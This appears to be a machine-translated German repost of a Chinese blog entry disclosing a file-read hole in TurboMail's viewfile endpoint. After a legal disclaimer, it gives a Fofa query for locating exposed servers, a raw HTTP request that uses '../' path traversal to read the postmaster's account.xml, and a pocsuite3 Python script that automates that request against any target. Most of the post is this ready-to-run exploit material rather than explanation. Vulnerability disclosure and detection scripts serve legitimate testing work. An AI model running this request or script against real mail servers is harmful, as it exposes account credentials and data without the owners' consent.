Wiederkehrende Sicherheitslücke – Sicherheitslücke beim Lesen von TurboMail-Viewfile-Dateien (mit Skript zur Erkennung von Sicherheitslücken)

Haftungsausschluss

Die im Artikel enthaltenen Schwachstellen wurden behoben und vertrauliche Informationen wurden codiert. Der Artikel dient nur dem Erfahrungsaustausch . Nehmen Sie ihn nicht ernst. Unbefugte Angriffe sind illegal! Vertrauliche Informationen im Artikel wurden auf mehreren Ebenen verarbeitet. Der Nutzer trägt die Verantwortung für alle direkten oder indirekten Folgen und Verluste, die durch die Verbreitung und Nutzung der in diesem Artikel bereitgestellten Informationen entstehen. Der Autor übernimmt hierfür keine Verantwortung. Bitte tragen Sie die Verantwortung für etwaige Folgen.

Beschreibung der Sicherheitslücke

TurboMail Viewfile weist eine Sicherheitslücke beim Lesen von Dateien auf

Fofa-Erklärung

body="maintlogin.jsp" && body="/mailmain?type=logout"

 POC plus Erkennung

GET /viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: sl-session=ETpsDQSNgmXLKn8mYVXTVQ==

POC-Skript

Pocsuite-Framework für Skripte

# _*_ coding:utf-8 _*_
# @Time : 2023/12/19
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class TurboMail_view_fileread(POCBase):
    pocDesc = '''TurboMail viewfile 文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-19'
    name = 'TurboMail viewfile 文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml'

        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15",
            'Accept-Language': 'en-US;q=0.9,en;q=0.8'
        }

        try:


            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'username' in response.text:
                result['VerifyInfo'] = {}


            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(TurboMail_view_fileread)

Skript-Exploit

Guess you like

Origin blog.csdn.net/jjjj1029056414/article/details/135085266